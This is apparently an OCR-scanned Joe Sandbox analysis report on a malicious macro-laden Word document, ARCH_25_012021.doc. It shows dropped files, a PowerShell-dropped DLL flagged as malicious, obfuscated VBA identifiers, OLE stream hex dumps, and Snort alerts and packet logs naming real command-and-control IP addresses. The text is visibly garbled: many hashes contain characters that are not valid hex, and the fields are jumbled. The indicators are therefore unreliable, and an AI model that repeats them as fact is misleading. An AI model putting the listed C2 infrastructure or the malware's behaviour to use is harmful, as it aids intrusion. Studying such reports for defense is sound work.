2 1.8.1.3....L.1...... . U ..z.1.....Q.y..Desktop.d......QK.X.Q.y*..._= .D.essk.to.p.@.s.hell3d.2.dll,.-2
.1.7.6.9....n.2....;R. .ARCH_2~1.DOC..R....... QyQy 8 ...ARCH _.25._.0.1.202.1..doc....|. 2Je CAUsers\ H \
\124406\Users user\Desktop\ARCH 25_012021.doc.)..... .\.D.es. kt 0.p. \A R.CH._.25._. .0.1.2.0.2.1...d.o.c... LB.)..AQ..cceriinnen. 1SPS.XF.L8C
~&mm..........-...S.-.1.-5.-.2.1.-9.6.6.7.7.1.3.1.5.- 3019405637 .3.6.7.3.3.6.4.7.7.-.1.0.0.6... e X 124406 D_..3N..W..9F.C........... [D_

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

80

4.211348644823317

false

3:M1+gbl8WdbImX1+gblv:M4gbrdbPgb1

EF242110122D8695A53B38974D63C306
F74EF8F7E90EF2B664F03FC482D2F1526159AC48
320FBB51CEDFAE2FA1371AAD0622E8A5333C66EBE13A89A21B19789A0739B236

B2AE3AEC71C0575957AA19EC1A9BESDES87D7E3DF8345129972B98873B028512FE1CA0C31893FB589ACC12235CBA451563E66B6B2AFD00908074C4D0C79C7CH
A

false

[doc]..ARCH_25_012021.LNK=0..ARCH_25_012021.LNK=0..[doc]..ARCH_25_012021.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:

File Type:

Copyright null 2021

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data
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C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.431160061181642

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyzALORWObGUXKbylin:vdsCkWtJLObyvb+|

MD5: 6AF5EAEBE6C935D9A5422D99EEEGBEFO

SHAL: 6FE25A65D5CCOD4F989A1D79DF5CE1D225D790EC

SHA-256: CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FAGCB4719

SHA-512: B2F51A8375748037E709D75C038B48C69E0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDB1C1E2156A092F315EBIC069B654AF39B7F4AACD3EFEFF1F8CAE
0

Malicious: false

Preview:
LUSBI et Alb.us............. | SO M M P M ciZid A X

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UXL3RQT94R3A0BC61R7X.temp

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: data

Category: dropped

Size (bytes): 8016

Entropy (8bit): 3.587077696978234

Encrypted: false

SSDEEP: 96:chQCsMgZqvsqvJCwo7z8hQCsMqzZqvsEHyqvICworpzkKYyHYf8R8IUVVIu:cywo7z8yMHnorpzkXf8Rdlu

MD5: 2AFCC6ACCB87C1228DEA47C66ABE1379

SHAL: E31078085D680E885A403812F3BB51403F7398FA

SHA-256: 44B271339E3D7B9CC739669C9AA6F27278FED1F62FFD7AD4AD29A6DB5B3D585F

SHA-512: 77AB9925B07272BCEE77B6108ED06957975DD19886 CEB3CEE2A885B59F9FE130A324B017D43FE6F4B7D1E2COABAB2265DA292050C3B7CCF79C4729648D0897E
B

Malicious: false

Preview:

................................... v FL 008D XD XG D K PLOL 4000 /Co WL {3 PROGRASB.D. L {J L K PLROL
gram.D.ata W.i.n.d.o.ws....... (¢
.STARTM~1. <...Pro.grams..@.s.he.l

CLWINDOW-1LR.LL ™
C:\Users\user\Desktop\~$CH_25 012021.doc
Process: C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE
File Type: data
Category: dropped
Size (bytes): 162
Entropy (8bit):  2.431160061181642
Encrypted: false
SSDEEP: 3:vrJlaCkWtVyzALORWObGUXKbylin:vdsCkWtJLObyvb+|
MD5: 6AFSEAEBE6C935D9A5422D99EEEGBEFO
SHA1L: 6FE25A65D5CC0OD4F989A1D79DF5CE1D225D790EC
SHA-256: CE916A38A653231ED84153C323027AC4A0695E0A7FB7CC042385C96FA6CB4719
SHA-512: B2F51A8375748037E709D75C038B48C69E0F02D2CF772FF355D7203EE885B5DBID1E15DA2EDB1C1E2156A092F315EBI9C069B654AF39B7FAACD3EFEFF1FSCAE
0
Malicious: false
Preview:
LUSBI et Alb.us............. | IO M M P MciZi A X
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 631808
Entropy (8bit):  6.9127096471964675
Encrypted: false
SSDEEP: 12288:0YzchQVZnkmt/70MWugxPJZFpfOc1pH/bdJ8CA88fzsBsI3+Dc:BAKV5Hpt8bZHLp+CSfasO+
MD5: EO09F65C1A92653035B27E603980CB205
SHA1L: 78DCA7A2190C82DC8DCAAOEAC302379804C79AA9
SHA-256: DO9BACE1490F6EE322262FF2DA373E861F3B3BIBCO3C386CE8BA031648F1EAAAF
SHA-512: 5D55BC984F6A044877912CBEOBA40DE0210CF25C7E4FB32CBE6GDBID5C60306280CD5EC84DF1674024CA89AD67FA49F7AAS5CF5BCEAE458D90CE6GD86CF209L
D3
Malicious: true
Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversingLabs, Detection: 82%
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Joe Sandbox e Filename: ARCH_25_012021.doc, Detection: malicious, Browse
View: e Filename: Arch_2021_717-1562532.doc, Detection: malicious, Browse

Preview:

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "ARCH_25_012021.doc"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary
Code Page:

Copyright null 2021

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Title:
Tenetur alias aut sint sequi facilis., Author: Sebastian M
elgar, Revision Number: 1, Name of Creating Applic
ation: Microsoft Office Word, Create Time/Date: Mon
Jan 25 09:28:00 2021, Last Saved Time/Date: Mon Jan
25 09:28:00 2021, Number of Pages: 1, Number of
Words: 5622, Number of Characters: 32047, Security: 8

6.658685583484107

e Microsoft Word document (32009/1) 79.99%
e Generic OLE2 / Multistream Compound File
(8008/1) 20.01%

ARCH_25_012021.doc

175104

baedc37e68b58765fa52c73d0fd2c2d5
2131d1319b5de532638d34f1e3bf68337b6099bf

94485h3ce47d4a2dfédba8e888ca7a360763f7edd5a044¢
552d1d06b6e4f4baa

d0043f410e6b5aeb4aa07d331dcfb00977ee90471b5196¢
5d1431ddb3a5221f42546d9ed895c5h98ca64966246863
2289ccea2eclec5fda4269bb100414ad287

1536:0JITNVRcrrMUXyaJBsc3txOOgvWJIVTjxo4lrilR1f
fFkBnyAZ:+TdcrrXyQBscOvWJVidlrwVSBH

>

edeea2aaadbdbdad

OLE

True
Microsoft Office Word
False
True
False
False

False

True

1252
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https://view.joesandbox.com/analysis/258550/html/none
https://view.joesandbox.com/analysis/258287/html/none

Summary

Title:

Subject:

Author:

Keywords:
Comments:
Template:

Last Saved By:
Revion Number:
Total Edit Time:
Create Time:

Last Saved Time:
Number of Pages:
Number of Words:
Number of Characters:
Creating Application:

Security:

Document Summary
Document Code Page:
Number of Lines:

Number of Paragraphs:

Thumbnail Scaling Desired:

Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: ASate73kc6cwb5njy, Stream Size: 1173

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False

Private
VB_Exposed
Attribute
VB_Name
VB_Creatable
Document_open()
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

VBA File Name: Gusca95luq_, Stream Size: 14646

Copyright null 2021

Tenetur alias aut sint sequi facilis.

Sebastian Melgar

1

0

2021-01-25 09:28:00
2021-01-25 09:28:00
1

5622

32047

Microsoft Office Word
8

-535

267

75

False
Orta S.L.
False
False
False

917504

Macros/VBA/A5ate73kc6cw5njy
Abate73kc6ecwsnjy
1173

01 16 01 00 00 fO 00 00 00 04 03 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff Ob 03 00 00 9b 03 00
00 00 00 00 00 01 00 00 00 de 6e 3c 87 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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General

Stream Path: Macros/VBA/Gusca95luq_

VBA File Name: Guscad5lug_

Stream Size: 14646

Data ASCIl: d.......oo F 2
................ X . ME L

Data Raw: 01 16 01 00 00 fO 00 00 00 64 10 00 00 d4 00 00 00 b0 01 00 00 ff ff ff ff 6¢c 10 00 00 1c 2c 00

00 00 00 00 00 01 00 00 00 de 6e b6 8e 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

VBA Code Keywords

Keyword
uldHRAc
BIMbZuJRF
xBazq)
Const

BvPhx
PTpduh
prhgQCFm
Error
Split(urqwC,
IKEyYJ
cHCfACCC()
fsCkG
ndrons
Split(HYqcb,
Split(fsCkG,
IHXavB
DunxEHX
Split(sHhQm,
WPKmFe
iXJTYF
dFUMF
RcxFVMDOH()
VEmMIAMH
BvPhx)
RcxFVMDOH
clPKFBjz
SzdUE
HIXwxDo
urqgwC
BIMbZuJRF)
LnRqcjdHC
IhhIDAA)
mnSyJHAV()
JaknVR)
Split(WPKmFe,
JtcSFIR()
xBazq
AQJEzpnoG
mxkikw
Array((qtNpWFzCE),
SViwH)
DObDSSSH
"ndpns
kwusSef
mnSyJHAvV
IKIHED)
yNpnD
riWqFGJY
pgwm,

IrUBAA
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Keyword
TiMQdBBgE
ZJSnRBDm)
espWEuWIh
JjibB

sHhQm

0O00bG

000bG()

CNUcG
Split(nvNjhAFA,
Array((eBzEFGPxh),
uZukAmEA
qtNpWFzCE
Array((KAAmsFJLa),
Range:
eGHABDHYI
Array((LpCFBdE),
"*high* *critic*"
WzIrJQJ
tWLOCW
Array((yNpnD),
XjjUNmJ
WiAHIOige
VEmMIAMH:

VHXT
kXidGGmrk()
DGpFCB
mjbBYHhbs
wJdJAI)
Array((dvuZzGDnA),
Split(DSEaFYQ,
DGpFCB()
Split(rSrzBJJv,
otHyDQA
ZJSnRBDm
String

SsujuoHFCJ
YtjFBe:
aACrBzCHd
PEOELVIQJ()
Array((cyDODgZgJ),
kRgnlQJCn
SViwH

rSrZBJJv
zZYRCUHEHG
prhgQCFm:
Split(XIUFJHR,
Nothing
Split(sujuoHFCJ,
VcboAE
XpIXCDhMq
ArMYJEkJb:
fEDGCAg
PASRFGECE
PASRFGECE()
CtRAIM

JjyxYAFLC
QFAdJG:
Array((muQUuJD),
eBzEFGPxh
Split(ctRAIm,
vDIdCwGIT
Split(XpIXCDhMq,
PCtZE)

yPcgGA
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Keyword
NYPQCHF
ZDKqIFEBG()
nd:wns
OwqgxzJE)
kXidGGmrk
xfQswJIFE
Resume
tCOXBDEPL
VHXIT:
OwqxzJE
ortGB
NFolZAgdj
DunxEHX()
wJdJAI
ifTgDoG)
hxzoFBtLC
HYqch
Split(fEDGCAg,
PwyZClI
ndgmns
NGzByr
ffeODE:i:
PTpduh:
jzZCVAIVG
cpeHA
UTlaBhGD:
NESTCdYDH
Array((huVBJtENvV),
ndinns
elgXMz:
xnvME()
HKXrDBEI
JaknVR
Array((jyxYAFLC),
Mid(skuwd,
Target)
bpMND
LXXQDDfJ
PCtZE
Split(T]IMQdABBgE,
AQJEzpnoG:
gvcgAlUM
sOfSgNO
tCOXBDEPL()
MhDEGJ()
NGzByr:
ortGB:
pNdogWCxt)
SbmMCGUEY
ZYRCUHEHG:
10PMfG()
nvNjhAFA
elgxmMz
Array((DObDSSSH),
Split(Nvjyw,
IVTSZI
IKIHED
ffeODEi
XIUFJHR
DSEaFYQ
AQOWDFGF
UTlaBhGD
UsjaB

ndmns
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Keyword
WiAHIOige:
Attribute

1UHjJ
uZukAmEA()
NYPQCHF)
Split(riwgFGJY,
PmuwJBJH
LpCFBdE
I0PMfG

ndsns
aACrBzCHd()
Array((eGHABDHY]),
huVBjtENv
Array((SbmMCGUEY),
Array((xfQswJFE),
ZDK(IFEBG
DKUOJzi
kWUSef:
cyDODgzgJ
KAAmsFJLa
VB_Name
CNUCcG()
wdpnM

Content
Array((dFuMF),
Split(VchoAE,
tWLOCW()
dvuZzGDnA
Split(cpeHA,
Function

xnvME

JtcSFIR
iXJTYF)
Array((IKEyYJ),
VZWOFV()
AQOWDFGF:
0AcbS

tuLCMCI
JVTSZI:
cjdFFEGuU
hxzoFBtLC)
rykKLTfBV
HsRXzxA

ndtns

FGWgu
VZWOFv
YtjFBe

nd_ns

dBZIAG)
Array((WzIrJQJ),
Array((zHRIEdEP),
cHCfACCC
Len(skuwd))
ifTgDoG
QFAdJG
Array((SzdUE),
PEOELVIQJ
Array((bpMND),
NFolZAgdj)
Split(sOfSgNO,
pNdogWCxt
Split(PmuwJBJH,
ArMYJEkJIb
UsjaB)
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Keyword

IhhIDAA

MhDEGJ
zHRIEJEP
muQUuJD
Mid(Application.Name,
Array((jzCVAIVG),
Split(JjIbB,
LnRqcjdHC:
Nvjyw

String:

uldHRAC)
PdrYYCtJ

1UHjJ:

otHyDQA()
yPcgGA)
HsRXzxA:

skuwd

dBZIAG

VBA Code

VBA File Name: Zcflkk3t2ssv4r07m, Stream Size: 704

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
Attribute
VB_Name

VBA Code

Streams

Stream Path: \x1CompObj, File Type: data, Stream Size: 146

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \xX5DocumentSummarylnformation, File Type: data, Stream Size: 304

Copyright null 2021

Macros/VBA/Zcf1kk3t2ssv4r07m
Zcf1kk3t2ssv4r07m
704

01 16 01 00 00 fO 00 00 00 1c 02 00 00 d4 00 00 00 88 01 00 00 ff ff f ff 23 02 00 00 83 02 00
00 00 00 00 00 01 00 00 00 de 6e eb Oc 00 00 ff ff 03 00 00 00 00 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

\x1CompObj
data

146
4.00187355764
False

........ MSWordDoc
.M.i.c.r.o.s.o.f.t.

Word.Document
W.o.r.d. .9.7.

01 00 fe ff 03 0a 00 00 ff ff f ff 06 09 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 00 00 00 00
0a 00 00 00 4d 53 57 6f 72 64 44 6f 63 00 10 00 00 00 57 6f 72 64 2e 44 6f 63 75 6d 65 6e 74
2e 3800 f4 39 b2 71 40 00 00 00 14 04 3e 04 3a 04 43 04 3c 04 35 04 3d 04 42 04 20 00 4d
00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 57 00 6f 00 72 00 64 00 20 00 39 00
37 00 2d 00
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \xX5Summarylinformation, File Type: data, Stream Size: 448

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 6885

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

\x5DocumentSummarylnformation
data

304

2.82977037235

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 00 01 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 ec 00 00 00 05 00 00 00 70 00 00 00 06 00 00 00 78 00 00 00 11 00
00 00 80 00 00 00 17 00 00 00 88 00 00 00 Ob 00 00 00 90 00 00 00 10 00 00 00 98 00 00 00
13 00 00 00 a0 00 00 00

\x5Summaryinformation
data

448

3.46647630871

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 90 01 00 00 11 00 00 00 01 00 00 00 90
00 00 00 02 00 00 00 60 01 00 00 03 00 00 00 98 00 00 00 04 00 00 00 44 01 00 00 05 00 00
00 a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 c8 00 00 00 09
00 00 00 d4 00 00 00

1Table

data

6885
6.02650234948

True

.6...6...6...>...6...6...6...6...6...6...6...6...
.6...6...6...6...6...6...6...6...6...6...
6a 04 11 00 12 00 01 00 Ob 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 520

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 143

General
Stream Path:
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Macros/PROJECT

ASCII text, with CRLF line terminators
520

5.52447471798

True

ID="{B315CD83-AEFA-4B0A-9946-631D489C22F0}"..Docum
ent=A5ate73kc6cw5njy/&H00000000..Module=Zcflkk3t2ssv4
r07m..Module=Gusca95lugq_..ExeName32="Jvk593o0dowjquyo
o"..Name="mx"..HelpContextID="0"..VersionCompatible32="
393222000"..CMG="AFAD464DFAF3D1F7D1F7D1F7D1F7"

49 44 3d 22 7b 42 33 31 35 43 44 38 33 2d 41 45 46 41 2d 34 42 30 41 2d 39 39 34 36 2d 36
3331443438 394332324630 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 41 35 61 74 65 37
33 6b 63 36 63 77 35 6e 6a 79 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d
5a 63 66 31 6b 6b 33 74 32 73 73 76 34 72 30 37 6d 0d Oa 4d 6f 64 75 6¢ 65 3d 47 75 73 63
61 39 35 6¢ 75 71 5f 0d

Macros/PROJECTwm
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General

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/VBA/_VBA_PROJECT, File Type: data, Stream Size: 4837

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

data

143
3.86963281051
False

A5ate73kc6cwb5njy.A.5.a.t.e.7.3.k.c.6.c.w.5.n.j.y...Zcflkk3t
2ssv4r07m.zZ.c.f.1.k.k.3.t.2.s.s.v.4.r.0.7.m...Gusca95luq_.
G.u.s.c.a.9.5.l.u.q._.....

41356174 65 37 33 6b 63 36 63 77 35 6e 6a 79 00 41 00 35 00 61 00 74 00 65 00 37 00 33
00 6b 00 63 00 36 00 63 00 77 00 35 00 6e 00 6a 00 79 00 00 00 5a 63 66 31 6b 6b 33 74 32
737376 34 72 30 37 6d 00 5a 00 63 00 66 00 31 00 6b 00 6b 00 33 00 74 00 32 00 73 00 73
00 76 00 34 00 72 00 30 00 37 00 6d 00 00 00 47 75 73 63 61 39 35 6¢ 75 71 5f 00 47 00 75
00 73 00 63 00 61 00 39

Macros/VBA/_VBA_PROJECT
data

4837

5.51877025189

True

B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...1.#.9
#.C...\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S
~.1.\.V.B.A.\.V.B.A.7.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B.a.s

i.c. L F.

cc 61 97 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00
04 00 02 00 fa 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 31 00 23 00

Stream Path: Macros/VBA/dir, File Type: WE32000 COFF executable not stripped N/A on 3b2/300 w/paging - version

18435, Stream Size: 628

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: WordDocument, File Type: data, Stream Size: 129150

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: office, File Type: data, Stream Size: 796

General
Stream Path:
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Macros/VBA/dir

WE32000 COFF executable not stripped N/A on 3b2/300 w/paging - version 18435
628

6.34127378287

True

P 0*..... p..H.."..d..... m2.2.4.@..... Z= b......... Y m
La.s % J<. rst dole>.2s..t.d.o.l..e...h.%"...*\G{0002°043
0-....C....... 0046}.#2.0#0#C.:\Window.s\SysWOW.64\.e2.tl
.b#OLE Au.tomation.. ....Offic..EOQO.f..i.c5.E....... E2D.F8DO

4C-5.BFA-101B -

01 70 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4
04 04 02 1c 6d 32 a2 32 00 34 00 00 40 02 14 06 02 14 5a 3d 02 Oa 07 02 62 01 14 08 06 12
090102 1259 6d fe 61 1a 00 Oc 25 02 4a 3¢ 02 0a 16 00 01 72 73 74 20 64 6f 6¢ 65 3e 02
32 7300 00 74 00 64 00 6f 00 6¢ 00 a0 65 00 0Od 00 68 00 25 5e 00 03 00 2a 5¢ 47 7b 30 30
3032 60303433302d

WordDocument
data

129150
7.03372694627

True

ec a5 ¢1 00 5f cO 09 04 00 00 f1 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 25 9b 00
00 Oe 00 62 6a 62 6a 00 15 00 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19
04 16 00 7e f8 01 00 62 7f 00 00 62 7f 00 00 25 93 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff Of 00 00 00 00 00 00 00 00 00 ff ff Of 00
00 00 00 00

office
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General

File Type: data

Stream Size: 796

Entropy: 7.73402004362

Base64 Encoded: False

Data ASCII: e 0..... a.Q....uN..... @.1.Y....... oo ,yOop..o.o /ool {....f
h.e_..... Q +. \.[3..... z..>.HU.t..PJ.{..".M Aopfr.\LoLs
< S...1..9?7..169 GW..... u..... K P 1b..G..L./)
9.-..n M>... ... xe|..N.I&.t.k..+..E.#..1 (0]

Data Raw: 05 7e 92 a5 9d 13 9e 08 30 1e 99 01 10 eb 61 9c 51 88 d9 d2 03 75 4e cf 3 8a 00 be 40 b5

6¢ Oe 59 06 85 8a f6 95 1f Oe 6¢ a3 f6 9a 1f e6 d5 ae 2¢ 79 30 70 e3 b5 a9 8f 2f c2 c1 13 13 df
c7 7b b2 8a a8 09 66 d6 a6 bb 68 cb 65 5f 7f b3 af fd b4 51 92 c7 84 fb 2b a3 5c 5 5b 33 d4
Oc fa 8¢ db 7a e8 95 3e cb 48 55 d2 74 07 17 50 4a 10 7b 12 c4 5e c1 4d 00 7 b6 5e 05 ac 70

7b 72 e7 5c
Network Behavior
Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/27/21- TCP 2404344 ET CNC Feodo Tracker Reported CnC Server TCP group 23 49168 80 192.168.2.22 84.232.229.24
09:30:55.632048
01/27/21- TCP 2404334 ET CNC Feodo Tracker Reported CnC Server TCP group 18 49169 8080 192.168.2.22 51.255.203.164
09:31:03.941037
01/27/21- TCP 2404328 ET CNC Feodo Tracker Reported CnC Server TCP group 15 49171 8080 192.168.2.22 217.160.169.110
09:31:50.136378
01/27/21- TCP 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 49173 80 192.168.2.22 185.183.16.47
09:31:59.138097
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 27, 2021 09:30:35.713542938 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:35.900213003 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:35.900363922 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:35.902981997 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.134855986 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.428189039 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.428216934 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.428234100 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.428479910 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.614783049 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628119946 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628206968 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628264904 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628310919 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.628317118 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628351927 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.628376007 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628427982 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628451109 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.628480911 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628530025 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628556013 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.628585100 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.628664970 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.814851999 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.814924955 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.814977884 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815032959 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815083027 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815114021 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815140009 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815151930 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815193892 CET 80 49167 192.169.223.13 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 27, 2021 09:30:36.815216064 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815248013 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815300941 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815315008 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815354109 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815403938 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815418005 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815455914 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815505981 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815526009 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815565109 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815618992 CET 80 49167 192.169.223.13 192.168.2.22
Jan 27, 2021 09:30:36.815642118 CET 49167 80 192.168.2.22 192.169.223.13
Jan 27, 2021 09:30:36.815670967 CET 80 49167 192.169.223.13 192.168.2.22
